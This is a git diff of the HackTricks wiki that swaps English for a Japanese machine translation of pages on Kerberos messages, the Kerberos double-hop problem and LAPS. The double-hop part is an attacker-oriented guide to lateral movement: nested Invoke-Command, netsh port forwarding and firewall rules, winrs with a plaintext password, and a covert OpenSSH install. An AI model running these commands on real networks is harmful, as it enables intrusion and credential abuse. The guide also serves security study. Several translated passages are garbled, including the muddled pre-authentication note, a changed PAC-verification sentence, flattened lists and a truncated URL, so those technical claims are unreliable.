contains the privileges of the user and it is signed with the KDC key. +**PAC**(特権属性証明書)は、ほとんどのチケットに含まれる構造です。この構造にはユーザーの特権が含まれており、KDCキーで署名されています。 -It is possible to services to verify the PAC by communicating with the KDC, although this does not happen often. Nevertheless, the PAC verification consists of checking only its signature, without inspecting if privileges inside of PAC are correct. +サービスは、KDCと通信してPACを検証することができますが、これはあまり頻繁には行われません。ただし、PACの検証は、PAC内の特権が正しいかどうかを検査せずに、その署名のみをチェックすることで行われます。 +### 認証プロセス -Furthermore, a client can avoid the inclusion of the PAC inside the ticket by specifying it in _KERB-PA-PAC-REQUEST_ field of ticket request. - -**Messages** - -Kerberos uses differents kinds of messages. The most interesting are the following: - -* **KRB\_AS\_REQ**: Used to request the TGT to KDC. -* **KRB\_AS\_REP**: Used to deliver the TGT by KDC. -* **KRB\_TGS\_REQ**: Used to request the TGS to KDC, using the TGT. -* **KRB\_TGS\_REP**: Used to deliver the TGS by KDC. -* **KRB\_AP\_REQ**: Used to authenticate a user against a service, using the TGS. -* **KRB\_AP\_REP**: (Optional) Used by service to identify itself against the user. -* **KRB\_ERROR**: Message to communicate error conditions. - -Additionally, even if it is not part of Kerberos, but NRPC, the AP optionally could use the **KERB\_VERIFY\_PAC\_REQUEST** message to send to KDC the signature of PAC, and verify if it is correct. - -Below is shown a summary of message sequency to perform authentication - -![Kerberos messages summary](<../../.gitbook/assets/image (174) (1).png>) - -### Authentication process - -In this section, the sequency of messages to perform authentication will be studied, starting from a user without tickets, up to being authenticated against the desired service. +このセクションでは、認証を実行するためのメッセージのシーケンスが、チケットを持たないユーザーから目的のサービスに対して認証されるまでの手順について調査されます。 **KRB\_AS\_REQ** -Firstly, user must get a TGT from KDC. To achieve this, a KRB\_AS\_REQ must be sent: +まず、ユーザーはKDCからTGTを取得する必要があります。これを実現するために、KRB\_AS\_REQを送信する必要があります。 -![KRB\_AS\_REQ schema message](<../../.gitbook/assets/image (175) (1).png>) +![KRB\_AS\_REQスキーマメッセージ](<../../.gitbook/assets/image (175) (1).png>) -_KRB\_AS\_REQ_ has, among others, the following fields: +_KRB\_AS\_REQ_には、以下のフィールドが含まれます。 -* A encrypted **timestamp** with client key, to authenticate user and prevent replay attacks -* **Username** of authenticated user -* The service **SPN** asociated with **krbtgt** account -* A **Nonce** generated by the user +* ユーザーを認証し、リプレイ攻撃を防ぐために、クライアントキーで暗号化された**タイムスタンプ** +* 認証されたユーザーの**ユーザー名** +* **krbtgt**アカウントに関連付けられたサービス**SPN** +* ユーザーが生成した**Nonce** -Note: the encrypted timestamp is only necessary if user requires preauthentication, which is common, except if [_DONT\_REQ\_PREAUTH_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro) \_\_ flag is set in user account. +注意:ユーザーアカウントで[_DONT\_REQ\_PREAUTH_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro)フラグが設定されていない限り、暗号化されたタイムスタンプはユーザーが事前認証を要求する場合にのみ必要です。 **KRB\_AS\_REP** -After receiving the request, the KDC verifies the user identity by decrypting the timestamp. If the message is correct, then it must respond with a _KRB\_AS\_REP_: +リクエストを受け取った後、KDCはタイムスタンプを復号化してユーザーの身元を検証します。メッセージが正しい場合、KDCは_KRB\_AS\_REP_で応答する必要があります。 -![KRB\_AS\_REP schema message](<../../.gitbook/assets/image (176) (1).png>) +![KRB\_AS\_REPスキーマメッセージ](<../../.gitbook/assets/image (176) (1).png>) -_KRB\_AS\_REP_ includes the next information: +_KRB\_AS\_REP_には、次の情報が含まれます。 -* **Username** -* **TGT**, which includes: - * **Username** - * **Session key** - * **Expiration date** of TGT - * **PAC** with user privileges, signed by KDC -* Some **encrypted data** with user key, which includes: - * **Session key** - * **Expiration date** of TGT - * User **nonce**, to prevent replay attacks +* **ユーザー名** +* TGTは以下を含みます: +* **ユーザー名** +* **セッションキー** +* TGTの**有効期限** +* KDCによって署名されたユーザーの特権を持つ**PAC** +* ユーザーキーで暗号化されたいくつかの**データ**が含まれています: +* **セッションキー** +* TGTの**有効期限** +* ユーザーのリプレイ攻撃を防ぐための**Nonce** -Once finished, user already has the TGT, which can be used to request TGSs, and afterwards access to the services. +これでユーザーはTGTを持っており、TGSを要求し、その後サービスにアクセスすることができます。 **KRB\_TGS\_REQ** -In order to request a TGS, a _KRB\_TGS\_REQ_ message must be sent to KDC: +TGSを要求するためには、KDCに_KRB\_TGS\_REQ_メッセージを送信する必要があります。 -![KRB\_TGS\_REQ schema message](<../../.gitbook/assets/image (177).png>) +![KRB\_TGS\_REQスキーマメッセージ](<../../.gitbook/assets/image (177).png>) -_KRB\_TGS\_REQ_ includes: +_KRB\_TGS\_REQ_には、以下が含まれます。 -* **Encrypted data** with session key: - * **Username** - * **Timestamp** +* セッションキーで暗号化された**データ**: +* **ユーザー名** +* **タイムスタンプ** * **TGT** -* **SPN** of requested service -* **Nonce** generated by user +* 要求されたサービスの**SPN** +* ユーザーが生成した**Nonce** **KRB\_TGS\_REP** -After receiving the _KRB\_TGS\_REQ_ message, the KDC returns a TGS inside of _KRB\_TGS\_REP_: +_KRB\_TGS\_REQ_メッセージを受け取った後、KDCは_KRB\_TGS\_REP_内のTGSを返します。 -![KRB\_TGS\_REP schema message](<../../.gitbook/assets/image (178) (1).png>) +![KRB\_TGS\_REPスキーマメッセージ](<../../.gitbook/assets/image (178) (1).png>) -_KRB\_TGS\_REP_ includes: +_KRB\_TGS\_REP_には、以下が含まれます。 -* **Username** -* **TGS**, which contains: - * **Service session key** - * **Username** - * **Expiration date** of TGS - * **PAC** with user privileges, signed by KDC -* **Encrypted data** with session key: - * **Service session key** - * **Expiration date** of TGS - * User **nonce**, to prevent replay attacks +* **ユーザー名** +* TGSには以下が含まれます: +* **サービスセッションキー** +* **ユーザー名** +* TGSの**有効期限** +* KDCによって署名されたユーザーの特権を持つ**PAC** +* セッションキーで暗号化された**データ**: +* **サービスセッションキー** +* TGSの**有効期限** +* ユーザーのリプレイ攻撃を防ぐための**Nonce** **KRB\_AP\_REQ** -To finish, if everything went well, the user already has a valid TGS to interact with service. In order to use it, user must send to the AP a _KRB\_AP\_REQ_ message: +最後に、すべてがうまくいった場合、ユーザーは既に有効なTGSを使用してサービスとやり取りすることができます。それを使用するために、ユーザーはAPに_KRB\_AP\_REQ_メッセージを送信する必要があります。 -![KRB\_AP\_REQ schema message](<../../.gitbook/assets/image (179) (1).png>) +![KRB\_AP\_REQスキーマメッセージ](<../../.gitbook/assets/image (179) (1).png>) -_KRB\_AP\_REQ_ includes: +_KRB\_AP\_REQ_には、以下が含まれます。 * **TGS** -* **Encrypted data** with service session key: - * **Username** - * **Timestamp**, to avoid replay attacks +* サービスセッションキーで暗号化された**データ**: +* **ユーザー名** +* リプレイ攻撃を防ぐための**タイムスタンプ** -After that, if user privileges are rigth, this can access to service. If is the case, which not usually happens, the AP will verify the PAC against the KDC. And also, if mutual authentication is needed it will respond to user with a _KRB\_AP\_REP_ message. +その後、ユーザーの特権が正しい場合、ユーザーはサービスにアクセスできます。通常は起こりませんが、APはKDCに対してPACを検証する必要があり、相互認証が必要な場合は_KRB\_AP\_REP_メッセージでユーザーに応答します。 -### References +### 参考文献 * Kerberos v5 RFC: [https://tools.ietf.org/html/rfc4120](https://tools.ietf.org/html/rfc4120) -* \[MS-KILE] – Kerberos extension: [https://msdn.microsoft.com/en-us/library/cc233855.aspx](https://msdn.microsoft.com/en-us/library/cc233855.aspx) -* \[MS-APDS] – Authentication Protocol Domain Support: [https://msdn.microsoft.com/en-us/library/cc223948.aspx](https://msdn.microsoft.com/en-us/library/cc223948.aspx) -* Mimikatz and Active Directory Kerberos Attacks: [https://adsecurity.org/?p=556](https://adsecurity.org/?p=556) -* Explain like I’m 5: Kerberos: [https://www.roguelynn.com/words/explain-like-im-5-kerberos/](https://www.roguelynn.com/words/explain-like-im-5-kerberos/) -* Kerberos & KRBTGT: [https://adsecurity.org/?p=483](https://adsecurity.org/?p=483) +* \[MS-KILE\] – Kerberos拡張: [https://msdn.microsoft.com/en-us/library/cc233855.aspx](https://msdn.microsoft.com/en-us/library/cc233855.aspx) +* \[MS-APDS\] – 認証プロトコルドメインサポート: [https://msdn.microsoft.com/en-us/library/cc223948.aspx](https://msdn.microsoft.com/en-us/library/cc223948.aspx) +* MimikatzとActive Directory Kerberos攻撃: [https://adsecurity.org/?p=556](https://adsecurity.org/?p=556) +* 5歳向けに説明するKerberos: [https://www.roguelynn.com/words/explain-like-im-5-kerberos/](https://www.roguelynn.com/words/explain-like-im-5-kerberos/) +* Kerberos&KRBTGT: [https://adsecurity.org/?p=483](https://adsecurity.org/?p=483) * Mastering Windows Network Forensics and Investigation, 2 Edition . Autores: S. Anson , S. Bunting, R. Johnson y S. Pearson. Editorial Sibex. * Active Directory , 5 Edition. Autores: B. Desmond, J. Richards, R. Allen y A.G. Lowe-Norris -* Service Principal Names: [https://msdn.microsoft.com/en-us/library/ms677949(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/ms677949\(v=vs.85\).aspx) -* Niveles funcionales de Active Directory: [https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0](https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0) +* サービスプリンシパル名: [https://msdn.microsoft.com/en-us/library/ms677949(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/ms677949\(v=vs.85\).aspx) +* Active Directoryの機能レベル: [https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0](https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0) * OverPass The Hash – Gentilkiwi Blog: [https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash](https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash) * Pass The Ticket – Gentilkiwi Blog: [https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos](https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos) * Golden Ticket – Gentilkiwi Blog: [https://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos](https://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos) -* Mimikatz Golden Ticket Walkthrough: [https://www.beneaththewaves.net/Projects/Mimikatz\_20\_-\_Golden\_Ticket\_Walkthrough.html](https://www.beneaththewaves.net/Projects/Mimikatz\_20\_-\_Golden\_Ticket\_Walkthrough.html) -* Attacking Kerberos: Kicking the Guard Dog of Hades: [https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf](https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin\(1\).pdf) -* Kerberoasting – Part 1: [https://room362.com/post/2016/kerberoast-pt1/](https://room362.com/post/2016/kerberoast-pt1/) +* Mimikatz Golden Ticket Walkthrough: [https://www.beneaththewaves.net/Projects/Mimikatz\_20\_-\_Golden\_Ticket\_Walkthrough.html](https://www.beneaththewaves.net/Projects/Mimik * Kerberoasting – Part 2: [https://room362.com/post/2016/kerberoast-pt2/](https://room362.com/post/2016/kerberoast-pt2/) * Roasting AS-REPs: [https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/) * PAC Validation: [https://passing-the-hash.blogspot.com.es/2014/09/pac-validation-20-minute-rule-and.html](https://passing-the-hash.blogspot.com.es/2014/09/pac-validation-20-minute-rule-and.html) diff --git a/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md b/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md index 0ff60eff9..5aad38bf9 100644 --- a/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md +++ b/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md @@ -1,77 +1,70 @@ -# Kerberos Double Hop Problem +# Kerberosダブルホップ問題
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Introduction +## はじめに -The Kerberos "Double Hop" problem appears when an attacker attempts to use **Kerberos authentication across two** **hops**, for example using **PowerShell**/**WinRM**. +Kerberosの「ダブルホップ」問題は、攻撃者が**Kerberos認証を使用して2つのホップ**を介して攻撃しようとした場合に発生します。たとえば、**PowerShell**/**WinRM**を使用する場合です。 -When an **authentication** occurs through **Kerberos**, **credentials** **aren't** cached in **memory.** Therefore, if you run mimikatz you **won't find credentials** of the user in the machine even if he is running processes. +**Kerberos**を介した**認証**が行われると、**資格情報はメモリにキャッシュされません**。したがって、mimikatzを実行しても、ユーザーの資格情報はマシンに存在しません。 -This is because when connecting with Kerberos these are the steps: +これは、Kerberosで接続する場合の手順です。 -1. User1 provides credentials and **domain controller** returns a Kerberos **TGT** to the User1. -2. User1 uses **TGT** to request a **service ticket** to **connect** to Server1. -3. User1 **connects** to **Server1** and provides **service ticket**. -4. **Server1** **doesn't** have **credentials** of User1 cached or the **TGT** of User1. Therefore, when User1 from Server1 tries to login to a second server, he is **not able to authenticate**. +1. ユーザー1が資格情報を提供し、**ドメインコントローラ**がユーザー1にKerberos **TGT**を返します。 +2. ユーザー1は**TGT**を使用して、**Server1**に接続するための**サービスチケット**を要求します。 +3. ユーザー1は**Server1**に**接続**し、**サービスチケット**を提供します。 +4. **Server1**には、ユーザー1の資格情報やユーザー1の**TGT**がキャッシュされていません。そのため、Server1から2番目のサーバーにログインしようとすると、ユーザー1は**認証できません**。 -### Unconstrained Delegation +### 制約のない委任 -If **unconstrained delegation** is enabled in the PC, this won't happen as the **Server** will **get** a **TGT** of each user accessing it. Moreover, if unconstrained delegation is used you probably can **compromise the Domain Controller** from it.\ -[**More info in the unconstrained delegation page**](unconstrained-delegation.md). +PCで**制約のない委任**が有効になっている場合、これは発生しません。なぜなら、**サーバー**はそれにアクセスする各ユーザーの**TGT**を**取得**するからです。さらに、制約のない委任が使用されている場合、それを介してドメインコントローラを**侵害**する可能性があります。\ +[**制約のない委任ページで詳細を確認**](unconstrained-delegation.md)してください。 ### CredSSP -Another suggested option to **sysadmins** to avoid this problem which is [**notably insecure**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) \*\*\*\* is **Credential Security Support Provider**. Enabling CredSSP has been a solution mentioned on various forums throughout the years. From Microsoft: +この問題を回避するために、**システム管理者**に提案される別のオプションは、[**明らかに安全ではない**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **Credential Security Support Provider**です。CredSSPを有効にすることは、さまざまなフォーラムで何年も言及されてきた解決策です。Microsoftからの引用: -_“CredSSP authentication delegates the user credentials from the local computer to a remote computer. This practice increases the security risk of the remote operation. If the remote computer is compromised, when credentials are passed to it, the credentials can be used to control the network session.”_ - -If you find **CredSSP enabled** on production systems, sensitive networks, etc it’s recommended they be disabled. A quick way to **check CredSSP status** is by running `Get-WSManCredSSP`. Which can be executed remotely if WinRM is enabled. +_「CredSSP認証は、ユーザーの資格情報をローカルコンピュータからリモートコンピュータに委任します。この方法は、リモート操作のセキュリティリスクを増加させます。リモートコンピュータが侵害された場合、資格情報が渡されると、ネットワークセッションを制御するために資格情報が使用される可能性があります。」_ +本番システム、機密ネットワークなどでCredSSPが有効になっている場合は、無効にすることをお勧めします。CredSSPのステータスを**確認する**簡単な方法は、`Get-WSManCredSSP`を実行することです。WinRMが有効になっている場合、リモートで実行することもできます。 ```powershell Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock { - Get-WSManCredSSP +Get-WSManCredSSP } ``` - -## Workarounds +## 回避策 ### Invoke Command -This method is sort of _“working with”_ the double hop issue, not necessarily solving it. It doesn’t rely on any configurations, and you can simply run it from your attacking box. It’s basically a **nested `Invoke-Command`**. - -This’ll **run** **`hostname`** on the **second server:** +この方法は、二重ホップの問題を「一緒に動作させる」方法であり、必ずしも解決するものではありません。構成に依存せず、攻撃ボックスから簡単に実行できます。基本的には**ネストされた`Invoke-Command`**です。 +これにより、**2番目のサーバーで`hostname`を実行**します。 ```powershell $cred = Get-Credential ta\redsuit Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock { - Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname} +Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname} } ``` - -You could also have a **PS-Session** established with the **first server** and simply **run** the **`Invoke-Command`** with `$cred` from there instead of nesting it. Although, running it from your attacking box centralizes tasking: - +あなたはまた、最初のサーバーとの**PS-Session**を確立し、単にそこから`Invoke-Command`を`$cred`とともに実行することもできます。ただし、攻撃ボックスから実行することで、タスクを集中化することができます。 ```powershell # From the WinRM connection $pwd = ConvertTo-SecureString 'uiefgyvef$/E3' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) # Use "-Credential $cred" option in Powerview commands ``` +### PSSessionの構成を登録する -### Register PSSession Configuration - -If instead of using **`evil-winrm`** you can use **`Enter-PSSession`** cmdlet you can then use **`Register-PSSessionConfiguration`** and reconnect to bypass the double hop problem: - +**`evil-winrm`**を使用する代わりに、**`Enter-PSSession`**コマンドレットを使用することで、**`Register-PSSessionConfiguration`**を使用して再接続し、ダブルホップ問題をバイパスすることができます。 ```powershell # Register a new PS Session configuration Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username @@ -83,72 +76,65 @@ Enter-PSSession -ConfigurationName doublehopsess -ComputerName -Creden klist # In this session you won't have the double hop problem anymore ``` +### ポートフォワーディング -### PortForwarding - -Since we have Local Administrator on the intermediate target **bizintel: 10.35.8.17**, you can add a port forwarding rule to send your requests to the final/third server **secdev: 10.35.8.23**. - -Can quickly use **netsh** to rip out a one-liner and add the rule. +中間ターゲットである**bizintel: 10.35.8.17**にローカル管理者権限があるため、リクエストを最終/3番目のサーバーである**secdev: 10.35.8.23**に送信するためのポートフォワーディングルールを追加できます。 +**netsh**を使用して、ワンライナーを作成してルールを追加できます。 ```bash netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23 ``` +以下は、Kerberosのダブルホップ問題に関する内容です。 -So **the first server** is listening on port 5446 and will forward requests hitting 5446 off to **the second server** port 5985 (aka WinRM). - -Then punch a hole in the Windows firewall, which can also be done with a swift netsh one-liner. +最初のサーバーはポート5446でリッスンし、ポート5985(WinRMとも呼ばれる)にリクエストを転送します。 +次に、Windowsファイアウォールに穴を開けます。これは、迅速なnetshのワンライナーで行うこともできます。 ```bash netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446 ``` - -Now establish the session, which will forward us to **the first server**. +セッションを確立し、**最初のサーバー**に転送します。
#### winrs.exe -**Portforwarding WinRM** requests also seems to work when using **`winrs.exe`**. This may be a better options if you’re aware PowerShell is being monitored. The below command brings back “**secdev**” as the result of `hostname`. - +**`winrs.exe`**を使用すると、**WinRMのポートフォワーディング**リクエストも動作するようです。PowerShellが監視されていることを認識している場合、これはより良いオプションです。以下のコマンドは、`hostname`の結果として「**secdev**」を返します。 ```bash winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname ``` - -Like `Invoke-Command`, this can be easily scripted so the attacker can simply issue system commands as an argument. A generic batch script example _winrm.bat_: +`Invoke-Command`と同様に、攻撃者はシステムコマンドを引数として簡単にスクリプト化することができます。一般的なバッチスクリプトの例である_winrm.bat_:
### OpenSSH -This method requires [installing OpenSSH](https://github.com/PowerShell/Win32-OpenSSH/wiki/Install-Win32-OpenSSH) on the first server box. Installing OpenSSH for Windows can be done **completely via CLI** and doesn’t take much time at all - plus it doesn’t flag as malware! +この方法では、最初のサーバーボックスに[OpenSSHをインストール](https://github.com/PowerShell/Win32-OpenSSH/wiki/Install-Win32-OpenSSH)する必要があります。Windows用のOpenSSHのインストールは、**完全にCLIで**行うことができ、それほど時間もかかりません - さらに、マルウェアとして検出されることもありません! -Of course in certain circumstances it may not be feasible, too cumbersome or may be a general OpSec risk. +もちろん、特定の状況では実現が困難であったり、手間がかかったり、一般的なOpSecのリスクがある場合もあります。 -This method may be especially useful on a jump box setup - with access to an otherwise inaccessible network. Once the SSH connection is established, the user/attacker can fire-off as many `New-PSSession`’s as needed against the segmented network without blasting into the double-hop issue. +この方法は、ジャンプボックスのセットアップ時に特に有用です - それ以外のネットワークにアクセスできない状況で。SSH接続が確立されると、ユーザー/攻撃者はセグメント化されたネットワークに対して必要なだけ`New-PSSession`を発行することができ、ダブルホップの問題に突入することなく処理することができます。 -When configured to use **Password Authentication** in OpenSSH (not keys or Kerberos), the **logon type is 8** aka _Network Clear text logon_. This doesn’t mean your password is sent in the clear - it is in fact encrypted by SSH. Upon arrival it’s unencrypted into clear text via its [authentication package](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera?redirectedfrom=MSDN) for your session to further request juicy TGT’s! +OpenSSHで**パスワード認証**を使用するように構成されている場合(キーまたはKerberosではなく)、**ログオンタイプは8**、つまり_ネットワーククリアテキストログオン_です。これはパスワードがクリアテキストで送信されることを意味するものではありません - 実際にはSSHによって暗号化されます。到着時には、[認証パッケージ](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera?redirectedfrom=MSDN)を介してクリアテキストに復号化され、セッションのためのジューシーなTGTをさらに要求するためです! -This allows the intermediary server to request & obtain a TGT on your behalf to store locally on the intermediary server. Your session can then use this TGT to authenticate(PS remote) to additional servers. +これにより、中間サーバーはあなたの代わりにTGTを要求して取得し、中間サーバーにローカルに保存することができます。その後、セッションはこのTGTを使用して追加のサーバーに対して認証(PSリモート)することができます。 -#### OpenSSH Install Scenario +#### OpenSSHのインストールシナリオ -Download the latest [OpenSSH Release zip from github](https://github.com/PowerShell/Win32-OpenSSH/releases) onto you attacking box and move it over (or download it directly onto the jump box). +最新の[OpenSSHリリースzipをgithubからダウンロード](https://github.com/PowerShell/Win32-OpenSSH/releases)し、攻撃ボックスに移動させるか、直接ジャンプボックスにダウンロードします。 -Uncompress the zip to where you’d like. Then, run the install script - `Install-sshd.ps1` +zipファイルを適当な場所に解凍します。次に、インストールスクリプト`Install-sshd.ps1`を実行します。
-Lastly, just add a firewall rule to **open port 22**. Verify the SSH services are installed, and start them. Both of these services will need to be running for SSH to work. +最後に、**ポート22を開く**ためのファイアウォールルールを追加します。SSHサービスがインストールされていることを確認し、それらを起動します。これらのサービスは、SSHが動作するために実行されている必要があります。
-If you receive a `Connection reset` error, update permissions to allow **Everyone: Read & Execute** on the root OpenSSH directory. - +`Connection reset`エラーが表示される場合は、ルートのOpenSSHディレクトリで**Everyone: Read & Execute**を許可するために権限を更新してください。 ```bash icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T ``` - -## References +## 参考文献 * [https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20) * [https://posts.slayerlabs.com/double-hop/](https://posts.slayerlabs.com/double-hop/) @@ -159,10 +145,10 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/windows-hardening/active-directory-methodology/laps.md b/windows-hardening/active-directory-methodology/laps.md index ed950a58d..a416b32ea 100644 --- a/windows-hardening/active-directory-methodology/laps.md +++ b/windows-hardening/active-directory-methodology/laps.md @@ -4,22 +4,21 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* 